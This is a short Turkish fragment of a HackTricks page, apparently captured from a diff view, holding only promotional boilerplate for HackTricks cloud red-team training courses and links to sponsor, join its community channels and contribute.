GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* [**abonelik planlarına**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue